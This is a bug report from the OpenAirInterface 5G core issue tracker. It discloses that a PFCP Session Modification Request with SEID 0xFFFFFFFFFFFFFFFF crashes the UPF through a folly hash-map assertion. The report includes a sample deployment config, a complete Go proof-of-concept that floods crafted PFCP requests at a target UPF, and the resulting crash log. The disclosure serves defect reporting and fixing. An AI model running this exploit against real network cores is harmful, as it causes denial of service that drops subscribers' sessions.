Skip to content

[Bug] UPF crash on PFCP Session Modification Request with invalid SEID (UINT64_MAX)

OAI-CN-5G Release, Revision, or Tag

Description

When the UPF receives a PFCP Session Modification Request whose message header SEID is set to 0xFFFFFFFFFFFFFFFF (UINT64_MAX), it crashes due to an assertion failure inside folly::AtomicHashMap. The SEID from the PFCP header is passed directly to get_pfcp_session_by_up_seid(), which uses folly::AtomicHashMap<uint64_t, std::shared_ptr<pfcp::pfcp_session>> up_seid2pfcp_sessions. folly::AtomicHashMap reserves UINT64_MAX as the internal emptyKey, so calling find(UINT64_MAX) triggers the internal check key_in != emptyKey and causes the process to abort.

Config

config.yaml

     ################################################################################
# Licensed to the OpenAirInterface (OAI) Software Alliance under one or more
# contributor license agreements.  See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The OpenAirInterface Software Alliance licenses this file to You under
# the OAI Public License, Version 1.1  (the "License"); you may not use this file
# except in compliance with the License.
# You may obtain a copy of the License at
#
#      http://www.openairinterface.org/?page_id=698
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#-------------------------------------------------------------------------------
# For more information about the OpenAirInterface (OAI) Software Alliance:
#      contact@openairinterface.org
################################################################################

# OAI CN Configuration File
### This file can be used by all OAI NFs
### Some fields are specific to an NF and will be ignored by other NFs
### The {{ env['ENV_NAME'] }} syntax lets you define these values in a docker-compose file
### If you intend to mount this file or use a bare-metal deployment, please refer to README.md
### The README.md also defines default values and allowed values for each configuration parameter

############# Common configuration

# Log level for all the NFs
log_level:
  general: debug

# If you enable registration, the other NFs will use the NRF discovery mechanism
register_nf:
  general: yes
  
http_version: 2

############## SBI Interfaces
### Each NF takes its local SBI interfaces and remote interfaces from here, unless it gets them using NRF discovery mechanisms
nfs:
  amf:
    host: oai-amf
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0
    n2:
      interface_name: eth0
      port: 38412
  smf:
    host: oai-smf
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0
    n4:
      interface_name: eth0
      port: 8805
  upf:
    host: oai-upf
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth1
    n3:
      interface_name: eth0
      port: 2152
    n4:
      interface_name: eth0
      port: 8805
    n6:
      interface_name: eth1
    n9:
      interface_name: eth0
      port: 2152
  udm:
    host: oai-udm
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0
  udr:
    host: oai-udr
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0
  ausf:
    host: oai-ausf
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0
  nrf:
    host: oai-nrf
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0

#### Common for UDR and AMF
database:
  host: mysql
  user: test
  type: mysql
  password: test
  database_name: oai_db
  generate_random: true
  connection_timeout: 300 # seconds

## general single_nssai configuration
## Defines YAML anchors, which are reused in the config file
snssais:
  - &embb_slice
    sst: 1

############## NF-specific configuration
amf:
  pid_directory: "/var/run"
  amf_name: "OAI-AMF"
  # This really depends on if we want to keep the "mini" version or not
  support_features_options:
    enable_simple_scenario: no
    enable_nssf: no
    enable_smf_selection: yes
    use_external_udm: no
  relative_capacity: 30
  statistics_timer_interval: 20  #in seconds
  emergency_support: false
  served_guami_list:
    - mcc: 001
      mnc: 01
      amf_region_id: 01
      amf_set_id: 001
      amf_pointer: 01
  plmn_support_list:
    - mcc: 001
      mnc: 01
      tac: 0x0001
      nssai:
        - *embb_slice
  supported_integrity_algorithms:
    - "NIA1"
    - "NIA2"
  supported_encryption_algorithms:
    - "NEA0"
    - "NEA1"
    - "NEA2"

smf:
  ue_mtu: 1500
  support_features:
    use_local_subscription_info: yes # Use infos from local_subscription_info or from UDM
    use_local_pcc_rules: yes # Use infos from local_pcc_rules or from PCF
  # we resolve from NRF, this is just to configure usage_reporting
  upfs:
    - host: oai-upf
      config:
        enable_usage_reporting: no
  ue_dns:
    primary_ipv4: "1.1.1.1"
    primary_ipv6: "2001:4860:4860::8888"
    secondary_ipv4: "8.8.8.8"
    secondary_ipv6: "2001:4860:4860::8888"
  ims:
    pcscf_ipv4: "192.168.70.139"
    pcscf_ipv6: "fe80::7915:f408:1787:db8b"
  # the DNN you configure here should be configured in "dnns"
  # follows the SmfInfo datatype from 3GPP TS 29.510
  smf_info:
    sNssaiSmfInfoList:
      - sNssai: *embb_slice
        dnnSmfInfoList:
          - dnn: "oai"
          - dnn: "openairinterface"
          - dnn: "ims"
          - dnn: "default"
  local_subscription_infos:
    - single_nssai: *embb_slice
      dnn: "oai"
      qos_profile:
        5qi: 9
        session_ambr_ul: "10Gbps"
        session_ambr_dl: "10Gbps"
    - single_nssai: *embb_slice
      dnn: "openairinterface"
      qos_profile:
        5qi: 9
        session_ambr_ul: "10Gbps"
        session_ambr_dl: "10Gbps"
    - single_nssai: *embb_slice
      dnn: "ims"
      qos_profile:
        5qi: 9
        session_ambr_ul: "10Gbps"
        session_ambr_dl: "10Gbps"
    - single_nssai: *embb_slice
      dnn: "default"
      qos_profile:
        5qi: 9
        session_ambr_ul: "10Gbps"
        session_ambr_dl: "10Gbps"

upf:
  support_features:
    enable_bpf_datapath: off    # If "on": BPF is used as datapath else simpleswitch is used, DEFAULT= off
    enable_snat: yes           # If "on": Source natting is done for UE, DEFAULT= off
  remote_n6_gw: 127.0.0.1      # Dummy host since simple-switch does not use N6 GW
  smfs:
    - host: oai-smf            # To be used for PFCP association in case of no-NRF
  upf_info:
    sNssaiUpfInfoList:
      - sNssai: *embb_slice
        dnnUpfInfoList:
          - dnn: "oai"
          - dnn: "openairinterface"
          - dnn: "ims"
          - dnn: "default"

## DNN configuration
dnns:
  - dnn: "oai"
    pdu_session_type: "IPV4"
    ipv4_subnet: "10.0.0.0/24"
  - dnn: "openairinterface"
    pdu_session_type: "IPV4V6"
    ipv4_subnet: "10.0.1.0/24"
    ipv6_prefix: "2001:1:2::/64"
  - dnn: "ims"
    pdu_session_type: "IPV4V6"
    ipv4_subnet: "10.0.9.0/24"
    ipv6_prefix: "2001:1:2::/64"
  - dnn: "default"
    pdu_session_type: "IPV4V6"
    ipv4_subnet: "10.0.255.0/24"
    ipv6_prefix: "2001:1:2::/64"

Steps to reproduce

  1. Start a new go project inside a new folder: go mod init poc
  2. Create a main.go and paste the code below:
package main

/*
 * POC: Invalid SEID causing DoS (Session Modification)
 *
 * Reference code:
 * - pfcp_switch.cpp:867 (session lookup)
 * - pfcp_switch.cpp:495-504 (get_pfcp_session_by_up_seid)
 */

import (
	"encoding/hex"
	"flag"
	"fmt"
	"log"
	"math/rand"
	"net"
	"time"

	"github.com/wmnsk/go-pfcp/ie"
	"github.com/wmnsk/go-pfcp/message"
)

const (
	defaultPFCPPort = 8805
	defaultTimeout  = 10 * time.Second
)

type seidInvalidModificationClient struct {
	nodeIP net.IP
	cpSeid uint64
	seq    uint32
}

func (c *seidInvalidModificationClient) nextSeq() uint32 {
	c.seq++
	if c.seq == 0 || c.seq > 0x00ffffff {
		c.seq = 1
	}
	return c.seq
}

func (c *seidInvalidModificationClient) sendAssociation(conn *net.UDPConn) error {
	req := message.NewAssociationSetupRequest(
		c.nextSeq(),
		ie.NewNodeID(c.nodeIP.String(), "", ""),
		ie.NewRecoveryTimeStamp(time.Now()),
		ie.NewCPFunctionFeatures(0x3f),
	)
	payload, err := req.Marshal()
	if err != nil {
		return fmt.Errorf("marshal association: %w", err)
	}
	if _, err := conn.Write(payload); err != nil {
		return fmt.Errorf("send association: %w", err)
	}
	log.Printf("Sent Association Setup Request")
	time.Sleep(500 * time.Millisecond)
	return nil
}

func (c *seidInvalidModificationClient) buildSessionModificationWithInvalidSEID(upfSeid uint64, invalidSEID uint64) (*message.SessionModificationRequest, error) {
	// Key: use an invalid SEID (e.g., 0xFFFFFFFFFFFFFFFF)
	// ⚠️ Note: the SEID for Session Modification Request is in the header, not in the F-SEID IE
	// The first SEID-related parameter of message.NewSessionModificationRequest is the SEID in the message header

	// Create a simple UpdatePDR to trigger the modification
	updatePDR := ie.NewUpdatePDR(
		ie.NewPDRID(1),
		ie.NewPrecedence(100),
	)

	return message.NewSessionModificationRequest(
		0, 0, invalidSEID, c.nextSeq(), 0, 
		ie.NewFSEID(c.cpSeid, c.nodeIP, nil),
		updatePDR,
	), nil
}

// Manually extract SEID from raw message
func extractSEIDFromRaw(raw []byte) (uint64, error) {
	if len(raw) < 8 {
		return 0, fmt.Errorf("message too short")
	}

	hasSEID := (raw[0] & 0x01) != 0
	if !hasSEID {
		return 0, fmt.Errorf("message does not contain SEID")
	}

	if len(raw) < 12 {
		return 0, fmt.Errorf("message too short for SEID")
	}

	seid := uint64(raw[4])<<56 | uint64(raw[5])<<48 | uint64(raw[6])<<40 | uint64(raw[7])<<32 |
		uint64(raw[8])<<24 | uint64(raw[9])<<16 | uint64(raw[10])<<8 | uint64(raw[11])

	return seid, nil
}

func parseSessionEstablishmentResponse(raw []byte) (uint64, error) {
	// Search for F-SEID IE (0x00 0x39)
	for i := 0; i < len(raw)-4; i++ {
		if raw[i] == 0x00 && raw[i+1] == 0x39 {
			if i+12 < len(raw) {
				ieLength := uint16(raw[i+2])<<8 | uint16(raw[i+3])
				if i+4+int(ieLength) <= len(raw) {
					seid := uint64(raw[i+5])<<56 | uint64(raw[i+6])<<48 | uint64(raw[i+7])<<40 | uint64(raw[i+8])<<32 |
						uint64(raw[i+9])<<24 | uint64(raw[i+10])<<16 | uint64(raw[i+11])<<8 | uint64(raw[i+12])
					log.Printf("Extracted UPF SEID from F-SEID IE: 0x%x", seid)
					return seid, nil
				}
			}
		}
	}

	// Try to parse using go-pfcp library
	msg, err := message.Parse(raw)
	if err != nil {
		if seid, err2 := extractSEIDFromRaw(raw); err2 == nil {
			log.Printf("Extracted UPF SEID from message header: 0x%x", seid)
			return seid, nil
		}
		return 0, fmt.Errorf("parse PFCP message: %w", err)
	}

	msgType := msg.MessageType()
	msgTypeName := msg.MessageTypeName()
	log.Printf("Received PFCP message: Type=%d (%s)", msgType, msgTypeName)

	if msgType == 6 || msgTypeName == "SessionEstablishmentResponse" {
		if resp, ok := msg.(*message.SessionEstablishmentResponse); ok {
			if resp.UPFSEID != nil {
				fseid, err := resp.UPFSEID.FSEID()
				if err == nil {
					return fseid.SEID, nil
				}
			}
			if seid, err2 := extractSEIDFromRaw(raw); err2 == nil {
				log.Printf("Extracted UPF SEID manually: 0x%x", seid)
				return seid, nil
			}
		}
	}

	if msgType != message.MsgTypeSessionEstablishmentResponse && msgType != 6 {
		return 0, fmt.Errorf("unexpected PFCP message type %d (%s), expected SessionEstablishmentResponse (5)", msgType, msgTypeName)
	}

	resp, ok := msg.(*message.SessionEstablishmentResponse)
	if !ok {
		if seid, err2 := extractSEIDFromRaw(raw); err2 == nil {
			log.Printf("Extracted UPF SEID manually (type conversion failed): 0x%x", seid)
			return seid, nil
		}
		return 0, fmt.Errorf("failed to cast message to SessionEstablishmentResponse (type=%d, %s)", msgType, msgTypeName)
	}

	if resp.Cause != nil {
		cause, err := resp.Cause.Cause()
		if err == nil && cause != 1 {
			return 0, fmt.Errorf("session establishment failed: cause=%d", cause)
		}
	}

	if resp.UPFSEID == nil {
		if seid, err2 := extractSEIDFromRaw(raw); err2 == nil {
			log.Printf("Extracted UPF SEID manually (UPFSEID IE missing): 0x%x", seid)
			return seid, nil
		}
		return 0, fmt.Errorf("missing UPF SEID IE in response")
	}

	fseid, err := resp.UPFSEID.FSEID()
	if err != nil {
		if seid, err2 := extractSEIDFromRaw(raw); err2 == nil {
			log.Printf("Extracted UPF SEID manually (FSEID extraction failed): 0x%x", seid)
			return seid, nil
		}
		return 0, fmt.Errorf("extract UPF SEID: %w", err)
	}
	return fseid.SEID, nil
}

func main() {
	var (
		target      = flag.String("target", "127.0.0.1:8805", "UPF PFCP endpoint")
		nodeIPStr   = flag.String("node-ip", "10.0.0.1", "Local NodeID IPv4")
		invalidSEID = flag.Uint64("invalid-seid", 0xFFFFFFFFFFFFFFFF, "Invalid SEID value (default: 0xFFFFFFFFFFFFFFFF)")
		dump        = flag.Bool("dump", false, "Dump crafted PFCP bytes")
		count       = flag.Int("count", 100, "Number of requests to send (for DoS)")
		upfSeid     = flag.Uint64("upf-seid", 0, "UPF SEID (required for Session Modification)")
	)
	flag.Parse()

	if *upfSeid == 0 {
		log.Fatalf("ERROR: -upf-seid is required for Session Modification Request")
	}

	nodeIP := net.ParseIP(*nodeIPStr)
	if nodeIP == nil {
		log.Fatalf("invalid node-ip: %s", *nodeIPStr)
	}

	addr, err := net.ResolveUDPAddr("udp", *target)
	if err != nil {
		log.Fatalf("resolve UDP addr: %v", err)
	}

	conn, err := net.DialUDP("udp", nil, addr)
	if err != nil {
		log.Fatalf("dial PFCP: %v", err)
	}
	defer conn.Close()

	rand.Seed(time.Now().UnixNano())
	cpSeid := uint64(rand.Uint32())<<32 | uint64(rand.Uint32())
	client := &seidInvalidModificationClient{
		nodeIP: nodeIP,
		cpSeid: cpSeid,
		seq:    uint32(rand.Intn(0x00ffffff)),
	}

	// Step 1: Association Setup
	if err := client.sendAssociation(conn); err != nil {
		log.Printf("association setup failed: %v", err)
	}

	conn.SetReadDeadline(time.Now().Add(2 * time.Second))
	assocBuf := make([]byte, 2048)
	if n, err := conn.Read(assocBuf); err == nil {
		log.Printf("Received Association Setup Response (%d bytes)", n)
	} else {
		log.Printf("No Association Setup Response received (continuing anyway): %v", err)
	}
	time.Sleep(500 * time.Millisecond)

	// Step 2: Send multiple Session Modification Requests with invalid SEID
	log.Printf("")
	log.Printf("=== Triggering Invalid SEID DoS (Session Modification) ===")
	log.Printf("Invalid SEID: 0x%x", *invalidSEID)
	log.Printf("UPF SEID: 0x%x", *upfSeid)
	log.Printf("Sending %d requests", *count)
	log.Printf("")
	log.Printf("Expected Behavior:")
	log.Printf("  - UPF will try to find session with invalid SEID")
	log.Printf("  - get_pfcp_session_by_up_seid(invalidSEID, s) will be called")
	log.Printf("  - If map is large, lookup may be slow (O(log n))")
	log.Printf("  - Performance degradation (DoS)")
	log.Printf("")
	log.Printf("Note: This is different from Session Establishment:")
	log.Printf("  - Session Establishment: Creates new session, stores to map (high risk)")
	log.Printf("  - Session Modification: Only looks up session, doesn't create (low risk)")

	for i := 0; i < *count; i++ {
		// Use a different invalid SEID each time (but still close to maximum)
		currentInvalidSEID := *invalidSEID - uint64(i)

		modReq, err := client.buildSessionModificationWithInvalidSEID(*upfSeid, currentInvalidSEID)
		if err != nil {
			log.Printf("Request %d: build modification failed: %v", i+1, err)
			continue
		}
		payload, err := modReq.Marshal()
		if err != nil {
			log.Printf("Request %d: marshal modification failed: %v", i+1, err)
			continue
		}
		if *dump && i == 0 {
			fmt.Printf("Session Modification Request (%d bytes):\n%s\n", len(payload), hex.Dump(payload))
		}
		if _, err := conn.Write(payload); err != nil {
			log.Printf("Request %d: send modification failed: %v", i+1, err)
			continue
		}
		log.Printf("Request %d: Sent Session Modification Request (Invalid SEID=0x%x)", i+1, currentInvalidSEID)

		// Short delay to avoid sending too fast
		time.Sleep(10 * time.Millisecond)
	}
}
  1. Download required libraries: go mod tidy
  2. Run the program with the upf pfcp server addressgo run main.go -target 192.168.70.134:8805 -node-ip 10.0.0.1 -upf-seid 1 -invalid-seid 0xFFFFFFFFFFFFFFFF -count 1 -dump

Log

[2025-12-10 16:02:01.957] [upf_n4 ] [info] handle_receive(30 bytes)
[2025-12-10 16:02:01.957] [upf_n4 ] [info] Handle SX ASSOCIATION SETUP REQUEST
[2025-12-10 16:02:02.958] [upf_n4 ] [info] handle_receive(51 bytes)
[2025-12-10 16:02:02.958] [upf_app] [info] Received N4_SESSION_MODIFICATION_REQUEST seid 0xffffffffffffffff 
WARNING: Logging before InitGoogleLogging() is written to STDERR
F1210 16:02:02.965217    20 AtomicHashArray.h:78] Check failed: key_in != emptyKey (18446744073709551615 vs. 18446744073709551615) 
*** Check failure stack trace: ***

Expected Behaviour

  • The UPF should not crash when it receives a Session Modification Request with an invalid SEID (e.g. 0 or UINT64_MAX).
  • The SEID in the PFCP header should be validated early (e.g. seid != 0 && seid != UINT64_MAX), and:
  • The request should be rejected gracefully with an appropriate PFCP Cause (e.g. CAUSE_VALUE_REQUEST_REJECTED or CAUSE_VALUE_SESSION_CONTEXT_NOT_FOUND).

Observed Behaviour

  • Sending a single PFCP Session Modification Request with header SEID = 0xFFFFFFFFFFFFFFFF is enough to crash the UPF.
  • up_seid2pfcp_sessions.find(UINT64_MAX) inside folly::AtomicHashMap triggers the assertion key_in != emptyKey, causing:
  • std::system_error (Resource deadlock avoided)
  • Process termination / SIGSEGV
  • All active sessions are dropped and the UPF must be restarted (DoS condition).
Edited by Ziyu Lin